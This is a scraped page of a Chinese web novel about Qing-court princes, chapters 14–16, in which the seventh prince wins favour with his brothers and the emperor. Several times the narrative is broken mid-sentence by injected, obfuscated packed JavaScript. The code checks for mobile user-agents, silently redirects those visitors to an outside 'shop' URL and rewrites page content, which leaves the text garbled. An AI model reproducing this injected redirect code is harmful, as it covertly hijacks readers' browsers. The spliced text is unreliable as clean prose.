RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12983700|136876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 四阿哥重重地咳嗽几声,那张还带着几分稚气的脸上露出几分不满神色:“现在不行,等我再练一阵子就行了。” “四哥,您加油,我相信您一定行的!” 眼瞅自己三两句话句句话都戳中四阿哥的痛点,胤祐忙灌了一壶鸡汤给四阿哥:“只要功夫深,铁杵磨成针!” 胤祐这几句话倒是把四阿哥哄开心了。 四阿哥眉眼带着笑意,“七弟还听说过这典故呢,可见是真好学,七弟且放心,等你回头来上书房,有不懂的功课只管来问我。” …… 三阿哥黑着脸,身后小梁子紧跟着,嘴上不住地劝说道:“爷您可别乱来,娘娘给您做这些安排都是为您好,您可别折腾七阿哥啊!” 三阿哥气得冷笑,快十岁的男孩子嗓音有些变化,一张口就是一把鸭公嗓,偏生他还觉得自己这把声音颇为动听,因此每每开口,除了二格格不嫌弃他,其他兄弟都忍不住露出避之唯恐不及的表情。 “额娘这是为我好?分明是埋汰我呢,怎么着,爷这么大的人了,还需要玩伴不成,我那些哈哈珠子难道是死的?我看,分明是额娘耳根软,被那戴贵人一哭求,就答应帮忙照顾那小瘸子,我才没那功夫,爷是要成为文武全才的人,谁想带孩子谁带去。” 他的声音不小,四阿哥院子里一向清净,被他这么一吵,屋里头都听得清清楚楚。 四阿哥忍不住皱起眉头,起身要出去帮七弟理论,三阿哥已经带着人风风火火地进来了。 很显然,他是打听到胤祐过来四阿哥这边,所以适才特地在外面大声说那番话。 “三哥!” 即便四阿哥心里不满,长幼有序,三阿哥一进来,他也得起身行礼。 胤祐被小邢子搀扶着从炕上蹦下来,规规矩矩地给三阿哥行了一礼:“给三哥请安,三哥金安。” 三阿哥上下打量胤祐,到他腰身一般高的孩子,长得倒是可爱,看着还算讨喜。 可一想到亲姐之前夸赞这七弟聪明,听话,亲额娘又非要把这小屁孩塞给他照看,三阿哥就气不打一处来,从鼻子里哼了一声,“我安,只要没人找我麻烦,我可安着呢。” “三哥!”四阿哥皱紧眉头,嘴巴一抿,就要开口给三阿哥说道理了。 三阿哥诶了一声,摆手道:“四弟,这可跟你没关系,你少掺和,这是我跟七弟的事,趁着他这会子在你这里,我跟他把话说清楚。” 他说完,在首位上坐下,大马金刀的模样,雄赳赳,气昂昂的,说真的,这一副派头挺有气势,可那嘴巴上长出的几根东倒西歪的胡须,跟那把尖锐的鸭公嗓结合起来,实在很难教胤祐心里产生敬畏。 他只觉得像是孩子穿大人衣服,装相。 他咬着嘴唇,强力忍住笑出声的冲动,又怕叫三阿哥瞧见自己的脸色,只好把头低得低低的,埋到胸膛里去。 三阿哥一番耀武扬威,原以为老七会吓得连连赔不是,不想半晌听不到他的动静,正不耐的时候,一抬头,却见七阿哥低着头,脖子连着脸通红,浑身都在颤抖。 他怔了怔,“你,你干什么呢,你不会是哭了吧?” 14.绿茶的第十四天 胤祐一怔,“我、我……” 他忍笑忍的太久,一说话就被口水呛住了,只好捂着脸低下头咳嗽。 可在屋里众人看来,这七阿哥分明是吓得哭了不止,还哭的咳嗽起来。 四阿哥立刻不满地看向三阿哥,“三哥,您干的好事,把七弟吓唬哭了,您心里高兴了吧,满意了吧?” “我,我不是有心的啊。” 三阿哥手足无措地从炕上下来,急的朝小梁子看去,示意他赶紧想办法哄哄七阿哥。 小梁子牙疼,自己什么分位上的人啊,就能干这事。 他悄悄移开视线,默默看地上。 三阿哥气得跺脚,可见七阿哥“哭”得越发厉害,只好硬着头皮过去:“七弟,别哭,别哭了,男子汉流血不流泪,你哭哭啼啼的成什么样。” 胤祐忍笑忍得肚子痛,他双手捂着脸,闷声故意道:“三哥,谁说我哭了,我没哭。” 四阿哥立刻用控诉的眼神看向三阿哥。 看看弟弟多懂事,人家受了委屈还强撑着! 你个当哥哥的好意思耍你的脾气吗? 三阿哥被看得心虚,只好摸摸鼻子:“刚才的话你,你就当我是放屁,你要是想来找我,就只管来找吧。” 他心里也委屈,亲额娘不由分说就塞给屁大一点儿的孩子给他,三阿哥性子素来独,岂能高兴? 胤祐这才张开手,拿袖子擦了擦眼角笑出来的泪水,露出些许受宠若惊的模样看向三阿哥:“三哥说的是真的?” “这是当然!”三阿哥手里扇子敲打在掌心里,见胤祐不哭了,这才松了口气,“君子一言驷马难追,我身为你们兄长,岂能言而无信!” “是啊,三哥还是守信用的人。” 四阿哥安慰地拍了拍胤祐的后背说道。 三阿哥一脸不爽地看向四阿哥。 什么叫做还是守信用的人? 他这人,除了守信用外,还多的是优点呢。 胤祐破哭为笑,他眼睛圆润,刚掉过眼泪,眼珠亮晶晶的,“三哥是好人,四哥也是好人,将来我能跟哥哥们一起念书,真是胤祐的福分。” 他这番话说的真诚。 三阿哥心里头虽然还有些芥蒂,却十分受用胤祐夸赞的话,他拿扇子打了下胤祐的脑袋,“还用得着你说,我可告诉你,你功课可得抓紧,不能跟你五哥一样丢三落四,要是那样,我可不跟你玩。” “三哥!”四阿哥瞪了三阿哥一眼。 三阿哥这回很是理直气壮:“我这是给他紧紧弦,咱们是皇阿玛的儿子,这不敢说将来都能成为文武全才,至少也不能跟老五一样一篇文章背个大半年背不下来,知不知道,七弟?” 胤祐乖巧点头,“三哥教导的是,胤祐回去就去温书去。” 他悟了。 三阿哥这就是以前学校里那种傲慢的尖子生,眼里头只有两种人,一种是成绩比他好的,一种是成绩不如他的。 见七阿哥这么乖巧,三阿哥心气这才顺了些。 “三弟,四弟,七弟!” 二格格风风火火地带着人从外面进来,跑得额头上都冒出细汗了,就是怕三阿哥驴脾气一上来,跟七阿哥过不去,可一打起帘子,屋里兄弟三聊得有来有往,还有欢声笑语。 二格格脚步放慢,愣了愣,有些不敢相信。 “二姐,您怎么过来了?” 三阿哥瞧见她,纳闷地起身问道。 四阿哥跟胤祐都起身跟二格格见过礼。 二格格看了眼身后报信的小太监,那小太监也一脸费解,刚才三阿哥过来那架势分明就是来找茬的。 二格格到底比众人年长,反应快,很快就笑道:“我啊是来问你前几日额娘送来这边的几身衣裳你穿着怎么样,大了还是小了,你这个人,这些事不问你你也不经心。” 三阿哥没多想,道:“大了些,不过我看穿着正好,我现在正长身体。” “那就好。”二格格颔首道。 她做出若无其事的模样,笑着坐下:“你们这说什么呢,这么高兴?人还这么齐全?” “没什么,我们在说回头七弟过来这边上学的事。” 四阿哥心思细密,并没有提起刚才的事,他体贴地叫人上一碗温茶:“这几个月怕是得麻烦二姐姐多帮着七弟开开蒙,练练字。” “这好说,七弟是咱们的弟弟,咱们自然得多加照顾。” 二格格接过茶时微微一顿,看着四阿哥的眼神很是柔和,心里暗暗羡慕,这要是自己亲弟弟多好! 二格格一来,三阿哥也不好拿腔作调,几个人说了一会子的话,三阿哥跟二格格便起身告辞。 胤祐特地留的晚点儿,被三阿哥刚才那么一打岔,他险些忘记正事了,拉了拉四阿哥的袖子,“四哥,今儿个我来还有件事,您托我送东西这事,皇贵妃娘娘……” “娘娘知道的,你放心。” 四阿哥闻弦知雅意,微微一笑,“这些事娘娘都不介意,托你们送,不过是想让德妃娘娘收下。” 啊? 胤祐眼里露出困惑神色,但没有多问,点了下头,“那弟弟就放心了,四哥,我先告辞了。” “嗯,我送你出去。”四阿哥说着,拿起帽子,将胤祐送出院子才走。 荣妃在翊坤宫焦急地等待。 头先伺候三阿哥的人来报信,说三阿哥要去找七阿哥麻烦,荣妃心里就咯噔一下,要不是二格格自告奋勇说要去劝阻三阿哥,荣妃都想自己过去了。 她在屋里来回踱步,眼神时不时地往外瞧。 滴月道:“娘娘您别紧张,三阿哥怎么着也会听二格格几句话,不至于闹出事来。” “话是这么说,但就怕三阿哥那驴脾气把事情闹大了,五所那边又住着好几个阿哥,倘若有谁把风吹到皇上耳旁去,三阿哥岂不是又要挨训斥了?”荣妃想到这个可能性,就只觉得头疼。 她有多为儿子的才学骄傲,就有多发愁儿子的臭脾气! “娘娘,格格回来了。”滴云眼尖,瞧见二格格的身影,忙跟荣妃汇报。 荣妃急匆匆地迎上前去,二格格脸上带着笑,“额娘,没事,虚惊一场。” “怎么说?”荣妃惊讶地问道,见二格格解披风的动作慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003124|136876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吞吞,耐不住性子上前帮忙解开。 二格格索性摊开手,等披风解下来了,她才道:“我去的时候,三弟跟四弟,七弟他们几个聊的挺开心的,没出什么事。” “啊?那秦河刚过来的时候不是说你弟弟要去寻七阿哥的麻烦吗?”荣妃先是松了口气,随后不免疑惑好奇地问道。 二格格笑道:“我看,是四弟劝阻了三弟,加上七弟也招人疼,三弟纵然驴脾气,也不好随便发作,额娘您这回挑的人倒是挑对了。” 听到这话,荣妃心里头这才彻底放心。 她要开口,却觉得口渴,喝了口茶润润嗓子才道:“这就好,这就好,看来七阿哥真是可人疼,我看你弟弟其实也脾气没那么坏,你看,他跟七阿哥,四阿哥不处的挺好的吗?” 二格格无语地看了荣妃一眼。 她都懒得说了,就三阿哥那脾气,那性子,还不坏? 想想刚才周到体贴的四阿哥,懂事乖巧的七阿哥,二格格真是想为自己鞠一把泪。 都是弟弟,怎么自己的弟弟脾气就这么差。 荣妃心里的石头落地,又见三阿哥跟七阿哥能处得来,便有意多拉拢一下戴贵人母子,叫了滴云过来,道:“你去储秀宫一趟,带本宫的话,就说没几日就是颁金节了,问问戴贵人可准备了给皇上,太皇太后,皇太后的贺礼,要是还没准备好,本宫这里倒是有几个摆件,可以借给戴贵人。” “小主,荣妃娘娘这回送的东西,可算解了咱们的燃眉之急了!” 瞧着跟前桌子上放着的几样摆件,希芸姑姑高兴得手脚都不知道该怎么放才好了。 戴贵人也眉眼都是喜色,她如释重负道:“是,这回要不是娘娘肯搭把手帮着咱们,今年的贺礼真不知道怎么办才好。” 往年戴贵人都是自己动手做些活计,比如砚屏,鞋子之类的送给康熙,太皇太后等人。 可今年年中的时候,七阿哥身子就不太舒坦,之后又发高热,戴贵人要照顾儿子,自然没有精力去做这些活计。 原先她们还在想是不是拿最近娘娘们赏赐下来的燕窝什么的去变卖,托人在宫外买些贺礼,但又怕太监们从中抽成太多,回头买的贺礼也不是什么好东西。 眼下荣妃送来的这些东西,真真是解决了戴贵人的燃眉之急。 “额娘这下可能睡个好觉了。” 胤祐笑道:“那些燕窝还是留着给额娘吃吧,多补补身子。” 戴贵人道:“没事,额娘不累,荣妃娘娘喜欢我打的络子,回头晚上我多打一些,趁着这几日,也给荣妃娘娘做几双帕子。” 胤祐瞧着她规划着怎么报答荣妃,一时心里酸涩又不免燃起奋斗之心来。 说到底,无非是他们还不够有地位,康熙不在乎,否则戴贵人何至于为了准备颁金节贺礼的时发愁了这么些天,为荣妃的帮忙感恩戴德。 在这宫里头生活,娘家靠不上,没有宠爱的妃嫔日子是真不好过,一年到头那么多节日,仅仅靠着份例里的东西,不得拆东墙补西墙才怪了。 这回颁金节算是对付过去了,可眼下又要到了年底,年关才更难过啊。 15.绿茶的第十五天 十月十三。 颁金节,一早,外头天气就有些冷。 胤祐昨儿个练了一宿的字,今早上被戴贵人从被窝里挖出来,小脸上红扑扑的,睡眼惺忪。 “额娘,什么时辰了?”他揉揉眼睛,问道。 戴贵人拿着手巾把子给儿子擦了一把脸,“是卯时三刻,你继续睡,额娘帮你换衣裳,咱们得先过去翊坤宫给荣妃娘娘请安。” “嗯。”胤祐含糊地答应一声,闭着眼睛,小身板晃晃悠悠的。 戴贵人跟希芸姑姑不禁对视一眼,默契地抿着嘴笑。 今儿个虽在乾清宫设置家宴,可宴席上的吃食并不怎么美味,戴贵人让胤祐吃了些奶糕,茯苓饼,还有一碗面茶,上面淋了花生酱,撒了芝麻,吃起来很是扎实。 胤祐还觉得有些撑着了。 他擦了擦嘴巴,疑惑地问道:“额娘,今儿个不还有家宴吗?咱们不留着肚子等家宴?” “家宴上的菜色都是热了好几遍的,又油腻得很,额娘怕你吃坏了肚子。”戴贵人给自己簪上一朵海棠花。 她今儿个穿的是粉色风景纹暗花绫绵袍,因为贵人没有吉服,所以今儿个她只能穿便服。 胤祐在旁边嘴甜地夸赞道:“额娘穿这身衣裳真好看,像仙女一样。” 戴贵人忍俊不禁,拿手点了下胤祐的鼻子,“嘴巴真甜,今儿个见到你皇阿玛,皇玛嬷,乌库妈妈知道该怎么行礼吗?” “知道,要说儿臣祝皇阿玛长命百岁,万福金安。” 胤祐摇头晃脑地说道。 光是这几句话,这几日戴贵人就拉着他念了好几十遍,生怕他今日出什么差池。 戴贵人见儿子说的这般利索,便觉得欣慰,瞧了瞧儿子的打扮,确认没什么不妥的地方,这才赶紧带着胤祐去翊坤宫。 今日乾清宫家宴后宫妃嫔,皇子皇女跟宗室亲眷都会列位出席。 胤祐跟戴贵人是分开坐的,戴贵人按照份位坐到角落里去了,她跟胤祐分开前,小声地提醒道:“平安,记得额娘的话,等会儿行礼的时候别紧张。” “额娘别担心我了,您也要照顾好自己。”胤祐说道。 小邢子忙道:“是啊,娘娘您赶紧过去坐吧,别落人话柄。” 听得小邢子这句话,戴贵人这才一步三回头地去自己的座位。 胤祐倒是心安理得,从容极了。 他的位置在五阿哥下面,八阿哥上面,八阿哥绷着脸,坐在那里,五阿哥倒是个自来熟的,直接侧着身子过来打招呼,“七弟,你最近瞧着气色好多了,身体怎么样?” “回五哥的话,弟弟一切都好,倒是五哥近日来似乎又壮实了……”事实上,刚才过来看到五阿哥的时候,胤祐是有些不敢认的。 他记忆里五阿哥还不算多胖,顶多是脸上手上肉乎乎的。 但现在一瞧,那简直就是个小牛犊子。 五阿哥摆摆手:“别提了,都是功课给累的,唉,读书真辛苦啊。” 他说到这里,握了握胤祐的手,“七弟,明年你也要来上书房念书了,是不是?” “是。”胤祐点点头。 五阿哥同情,怜悯地拍了拍胤祐的胳膊,“保重,保重,回头你过来我匀点儿牛肉干给你吃。” 好的。 谜题破了。 怪不得五阿哥壮实了这么多,感情是吃牛肉干吃的。 这年头,牛肉干也是奢侈品,胤祐乖巧地道了谢。 “小主您瞧咱们阿哥跟五阿哥聊的多开心,奴才看您就安心吧,咱们阿哥如今人缘好着呢。”希芸姑姑给戴贵人倒茶,指了指胤祐那边的方向,小声地对戴贵人说道。 戴贵人也瞧见了,她脸上的紧张松弛了下来,唇角终于露出些笑意,“平安是好孩子,自然谁见了都喜欢。” 一旁的卫常在瞥了她一眼,视线跟着落在胤祐身上,她眼皮垂下,对旁边的宫女道:“你去提醒下八阿哥,等会儿别忘了我嘱咐的事。” “是。”宫女答应着去了。 戴贵人听见卫常在的声音,朝她看过来,正好对上卫常在的眼神。 卫常在冲着戴贵人笑了下,戴贵人倒是颇为不自在,尴尬地勉强扯了扯唇角。 胤祐等人坐了一会儿,便听得外面传来奏乐声。 五阿哥惊呼道:“皇阿玛过来了。” 见得五阿哥起身,胤祐便也跟随着起身,果然不一时,康熙被众人簇拥着走进正殿。 殿内众人呼啦啦起身,下跪, “臣妾给皇上请安,皇上万福金安。” “儿臣给皇阿玛请安,皇阿玛万福金安” …… 胤祐跪在地上,金砖地面冰凉,等听得上面叫了起,他才站起身来。 康熙满脸都是笑容,他搀扶着太皇太后在尊位坐下,“皇玛嬷,您瞧瞧,这一年年的咱们皇室子嗣越来越多了,过两年大阿哥定下福晋,回头您就等着抱玄孙子吧。” 被点名的大阿哥脸上涨得通红,既害羞又激动。 太子眼角的余光瞥见了,眼皮垂下,遮掩过眼里的不屑。 太皇太后慈爱地瞧过这些曾孙子,拍着康熙的手,“好,好,哀家擎等着。” 皇贵妃今日也出席了,她笑着说道:“那只怕回头这前殿都要坐不下了,哎呦,光是炭盆不知道要多点多少呢。” 太皇太后被逗笑了,“皇贵妃管着后宫果然想的仔细,不怕,哀家拿自己的份例出来,有多少孩子,哀家出多少钱。” “那可怎么成,那岂不是成臣妾跟皇上惦记您老人家的私库了吗?”皇贵妃揶揄地看了眼康熙,对太皇太后道:“您老人家可不能太疼咱们皇上了,咱们皇上是有本事的人,叫他想办法去充实国库,您老人家只安心享福就是,今儿个,太子他们还给您几位准备了一份礼物。” “什么礼物,朕怎么不知道?” 康熙诧异地看向太子等人。 太子坐在首位,此时走出列来,躬身行礼,“回皇阿玛的话,儿臣等人预备每人准备一个节目,或是射箭,或是写诗,或是朗诵,请皇阿玛跟太皇太后,皇太后娘娘瞧瞧有何不足之处。” 太子这番话出来,大阿哥等人也跟着起身。 康熙跟太皇太后等人都喜出望外。 康熙点头道:“好,好,这眼下都要到年底了,朕跟太皇太后也看看你们这一年下了多少苦功,若是有表现的好,朕有赏。” “是!” 太子等人闻言都不禁露出激动神色。 一个个都摩拳擦掌地准备一展身手。 胤祐一脸同情的看向五阿哥。 原因无他,从刚才开始,五阿哥的手就一直在抖。 瞧这模样,再联系刚才五阿哥的言论,这回五阿哥的表现只怕有些粗糙吧。 等半个小时过去,太子等人展示过了,四阿哥朗诵诗词下来,轮到五阿哥上次背诵论语,胤祐都不忍心听了。 刚才四阿哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13017102|136876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朗诵的诗词是蜀道难,不但朗诵还同时写字,虽然笔力有些稚嫩,可对于一个七岁孩子能又写又背,还不打个磕绊,这表现是真的很难得了。 “子曰,子曰……贫而无谄,富而无骄,何如?” “子曰,苟、苟……” 五阿哥站在当地,脸涨得通红,摇头晃脑都晃不下去了,几句论语背的跟要了他的命似的。 十月份屋里虽然点了炭盆,但是还有些凉意。 他却浑身冒汗。 胤祐瞧着,都替五阿哥着急。 上面的皇太后都忍不住想开口帮宝贝孙子打圆场。 下面八阿哥突然接道:“子曰:“可也。未若贫而乐、富而好礼者也。''''子贡曰:“《诗》云‘如切如磋,如琢如磨'',其斯之谓与?"子曰:“赐也,始可与言《诗》已矣,告诸往而知来者。”……” 八阿哥的背诵比起五阿哥来,那简直是天壤之别。 胤祐原在喝着奶茶,突然听得旁边传来背诵声,扭头看去,只见八阿哥站起身来,双手背在身后,摇头晃脑地接着五阿哥刚才停顿的部分顺顺溜溜地直接背了下来。 宜妃脸色微变,倏地朝卫常在看去。 卫常在正一脸温柔地看着八阿哥流利地背诵完了接下来的论语,似乎毫无察觉自己儿子踩着五阿哥出头露面了。 “好,好!” 等八阿哥背诵完,他孺慕地抬头,眨巴眼睛看向康熙,“皇阿玛,儿臣献丑了。” 康熙脸上露出笑容,“胤祀,过来,你如今会背论语了?” 八阿哥从桌子后走出来,朝康熙走去,他站在五阿哥身旁,不好意思地说道:“是,额娘教了儿臣,说让儿臣学学大哥要多读书,将来好为皇阿玛分忧。” “不错,你大哥的功课很好,你要跟他多学学。” 康熙欣慰地点头,摸着胡须。 胤祐不免同情地看向五阿哥,五阿哥紧闭着嘴巴,脸上通红,既尴尬又羞愧,眼泪都要掉下来了。 这背的磕磕巴巴其实也什么,丢人的是被小好几岁的弟弟踩着出风头不说,皇阿玛还当众夸赞弟弟功课好。 “皇上,哀家看八阿哥是不错,不过五阿哥也很有孝心,入了冬他天天来陪哀家说话,怕哀家闷。” 皇太后瞧着五阿哥这模样,心不知道多疼,赶紧维护五阿哥。 “皇额娘……”康熙有些无奈,“五阿哥的功课是得抓紧些。” 他是想让五阿哥知耻而后勇。 “是得抓紧,这孩子花太多心思在骑射上,功课上少不了有些疏忽,回头哀家就多督促他。” 皇太后护犊子得厉害,根本见不得五阿哥受委屈。 康熙见状,也不好跟嫡母对着干,只好敷衍地点头道是,夸了五阿哥几句场面话。 五阿哥这才得以回到自己的位置。 他回来的时候,嘴角都是沉下的,抬起袖子擦了下眼睛。 “皇阿玛,儿臣听闻七哥最近也在读书,皇阿玛考教了儿臣等人的功课,不如也考考七哥的。” 八阿哥突然说道。 他看向胤祐,脸上带着笑容。 胤祐原还在想怎么安慰五阿哥,冷不丁的被点名,错愕地阿了一声,抬起头来。 五阿哥也吃惊地看向胤祐。 因为太过吃惊,还吹出了个鼻涕泡,对视上一眼后,鼻涕泡啪地一声破了,五阿哥眼神里头顿时露出怜悯。 原来今儿个倒霉的不只是他。 16.绿茶的第十五天 “七阿哥事先没准备过,若是要考较功课,不如等年底吧。”荣妃瞧了眼胤祐,笑盈盈说道。 端嫔也附和道:“是啊,这么临时突然的,有些仓促了些。” 戴贵人见荣妃等人帮忙说话,心里不禁生出期盼,她起身,声音有些发抖:“皇上,七阿哥虽然最近也在读书,可……” “诶,戴贵人,我们都知道七阿哥读书很用功,你可不要谦虚了,再说了,今日也没旁人,七阿哥背三字经,千字文也好。” 惠妃唇角抿着笑意,语气颇为亲切。 若是不知内情的,还当惠妃是什么好人呢。 宜妃心里冷笑。 背三字经,千字文,那不是给八阿哥当垫脚石吗? 比七阿哥小的八阿哥都能背论语,七阿哥还在念三百千,这简直丢人。 “胤祐,你最近在读什么?” 康熙瞧着安静地站着,没说话的胤祐,不免生出些许关心来。 胤祐上前鞠了一躬:“儿臣跟着二姐姐学千字文。” “那就背千字文吧,看看你学了多少。” 康熙想了想,说道。 惠妃拿起酒杯抿了一口,脸上露出些笑意,下头坐着的卫常在不自觉地挺直了腰身,她看着七阿哥,脸上的笑容隐约带着不屑。 胤祐却道:“皇阿玛,儿臣不想背千字文,儿臣今日想给皇阿玛写一幅字!” 他这句话,让殿内众人愣了下。 康熙更是起了好奇心:“你想写什么字?” “请皇阿玛允许儿臣卖个关子,让人送上文房四宝。”胤祐露出一个笑容,嘴角的酒窝很深,看上去就像是个乖孩子。 太皇太后也被引起了好奇心,“好,皇帝,让人送文房四宝吧,哀家也好奇七阿哥想写什么字。” “儿臣写的不好,等会儿要是写的不行,皇阿玛,乌库妈妈、皇玛嬷可别嫌弃。” 胤祐做出腼腆的模样,脚尖点了下地板。 皇太后因着八阿哥的缘故,这会子瞧七阿哥这“老实”孩子便觉得格外可怜:“谁敢嫌弃,哀家等会儿第一个不答应。” 八阿哥握紧手,手指甲下意识地扣着掌心,瞧着胤祐走到抬上来的文房四宝跟前,嘴唇下意识地抿紧。 七哥一向没用,写字能写出什么花样来。 如今这会子不过是垂死挣扎罢了。 “七阿哥,您请。”梁九功拿了蘸了墨的狼毫笔递给胤祐。 胤祐道了谢,接过手来。 康熙等人都觉得好奇,从宝座上走下来,站到胤祐身后。 戴贵人额头上满是冷汗,既怕儿子紧张,又怕儿子等会儿被笑话。 在沉思一会儿后,胤祐提笔。 说实在话,今儿个胤祐可没打算出风头,但人都把机会送到嘴边了,要是放过这次机会,那他上辈子岂不是白活了。 上辈子在尹家生活,尹老爷子子女众多,想要讨他欢心可不容易,不但得长得好,嘴巴甜,会来事,更重要的是自己得有本事。 不然,光是嘴巴上的能耐,哪里能入得了尹老爷子的眼。 从上小学起,胤祐就去学了书法,楷体、草书、宋体,苦练十数年,每逢尹老爷子需要儿子撑场面的时候,胤祐则会露一手。 他的书法不敢说登堂入室,但至少也能拿得出手。 “这写的是寿字?” 康熙很快认出胤祐写的是什么字。 他颔首道:“这字写的不错,有几分像老四的字。” “皇阿玛好眼力,四哥送了儿臣一些字帖,儿臣最近临摹了些。” 胤祐嘴上说完,又拿起笔写了另外一个寿字:“您瞧瞧这个字像谁的?” 他用的字体是簪花楷体。 康熙一瞧就笑了,“这像是和慧的。” “真的假的?”二格格立刻坐不住了,连忙跑过来凑热闹瞧了瞧,一看,还真像是她的字体,她既惊又喜,“七弟,你好本事,这写的跟我写的真像!” 胤祐低下头,像是害羞一般,“都是多亏二姐姐常常教导。” “好,好。”康熙脸上笑容越发真切,他手背在身后,道:“胤祐,你还能写谁的字?” 惠妃等人脸上笑容已经有些挂不住了。 尤其是八阿哥,更是错愕不已,他本以为胤祐的本事无非是字写的稍微好看些,这又有什么特别的。 可瞧皇阿玛等人高兴的样子,老七这一招居然很讨他们喜欢?! “儿臣只学过四哥跟二姐姐的字,旁人的字记不真切,不过,先前额娘绣过一副百寿图,上面的字儿臣倒还记得,不如皇阿玛指点指点儿臣。” 胤祐谦虚地说道。 康熙一听得百寿图的时候先是一怔,眼里掠过诧异,但他不动声色,点头道:“好,你写出来,朕给瞧瞧。” 百寿图? 几乎所有人都被吸引了好奇心跟注意力。 百寿图不是什么稀罕物,宫里头每逢喜庆节日,底下少不了上贡这些吉祥物件。 可想想七阿哥才几岁,何况今日事发突然,从戴贵人刚才的反应来看,显然七阿哥事先并没有准备过,这会子居然夸大海口能写百寿图,岂不是叫众人好奇又兴奋。 就连太子、大阿哥等人都纷纷离席围了过来。 若是寻常孩子,这会子早紧张的不行。 胤祐却是个人来疯,压根不慌,还有些兴奋,他手握着笔,一个接一个的写,每个寿字形体都各不相同,颜体、楷体、柳体、篆体诸种字体都有。 “五十六个……” “八十一个……” “九十七个……” 周围的人都忍不住帮忙数数,康熙脸上的惊奇神色越来越浓厚,见得砚台里头没墨了,他还示意梁九功上去继续磨墨。 众人连大气都不敢出,生怕惊扰了胤祐。 戴贵人攥紧帕子,紧张的都忘了呼吸。 “九十九个,诶,怎么停了?!” 五阿哥惊奇,有些可惜地出声问放下笔来的胤祐。 四阿哥忙道:“想来是七弟累了,也是,一口气写这么多字,别说七弟,就是咱们也受不住。” “不是,你们瞧,这整个凑起来正好是一整个寿字!” 二格格突然失声激动地说道。 她激动得还拍了三阿哥好几下。 三阿哥这会子被胤祐这一手给震住了,连反应都不会,只张大嘴巴看向胤祐。 见二格格这么一说,众人忙后退一步,仔细瞧了瞧。 太皇太后吃惊地颔首道:“还真是,奇了,奇了!” “儿臣今日做此百寿图,特献给皇阿玛,希望皇阿玛万寿无疆,寿比南山!” 胤祐掀开袍角,当地跪下,给康熙磕了个头。 三阿哥等人也才反应过来,忙跟着跪下,“儿臣等祝皇阿玛万寿无疆,寿比南山。” 后宫妃嫔也都呼啦啦跪下,一时间贺寿声不绝于耳。 康熙脸上笑容格外灿烂。 他大声叫好,“好,好,朕盼着如你们所言,皇额娘,皇玛嬷,儿臣也祝你们寿比南山!” 太皇太后跟皇太后对视一眼,都不禁笑了。 太皇太后道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13026426|136876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哀家也希望如此,今儿个哀家心里真是高兴,咱们大清的儿郎们一个个都是勤学有才的,咱们大清的江山定然能万年长安。” “是,皇玛嬷所言极是。” 康熙很是欣慰地看着阿哥们,他的视线头一次这么专注地落在胤祐身上,心里颇为触动,“你们也都起来吧,今日,朕心甚慰,后宫妃嫔每人赏双俸,阿哥格格每人赏赐一套文房四宝,一对金如意。” “谢皇阿玛/皇上!” 众人都心里大喜,起身谢恩。 “胤祐,”康熙看向胤祐。 胤祐走上去,放下马蹄袖:“儿臣在。” “你的这份孝心朕看到了,明年去上书房可得继续努力,功课不懂的问你几个兄长。”康熙难得对着胤祐露出慈爱的模样。 胤祐做出激动的模样,小脸通红,眼睛亮晶晶的:“是,儿臣一定好好学!” “瞧这孩子,真是稚子心性。” 康熙跟太皇太后笑着说道。 太皇太后微微颔首:“是个好孩子。” 惠妃脸色微沉。 卫常在的脸色则难看得多,她看向一旁寂落的八阿哥,再瞧瞧人人夸赞的七阿哥,心里头跟打翻了辣椒油似的。 家宴散后。 那张百寿图被康熙要去了,二格格、四阿哥等人都围了上来,拉着胤祐惊奇不已,尤其是三阿哥,有些酸里酸气地说道:“你怎么二姐姐,四弟的字都学了,就没学我的?” 刚才胤祐那番话一说出来,二格格跟四阿哥都得脸了,至少一个友爱兄弟的好名声是落下了。 这可比什么好处都强。 胤祐做出无辜的样子,“我也想学三哥的,可是我不好意思求三哥的墨宝啊,若是三哥愿意送我一份您的字帖那可太好了。” 三阿哥被他这么一夸,心里头的吃醋小嫉妒一下就抹平了,他就说七弟不可能看不上他。 果然是有原因。 “我的墨宝自然是不能随便给人,但你是我弟弟,这就不同了,回头我就挑一本好的给你送去,你要什么字体的,狂草,行书我都会写。” “三哥,您挑着给就是了,您写的无论是什么字体都一定好看。” 胤祐一本正经地说道。 三阿哥嘴角都快笑歪了。 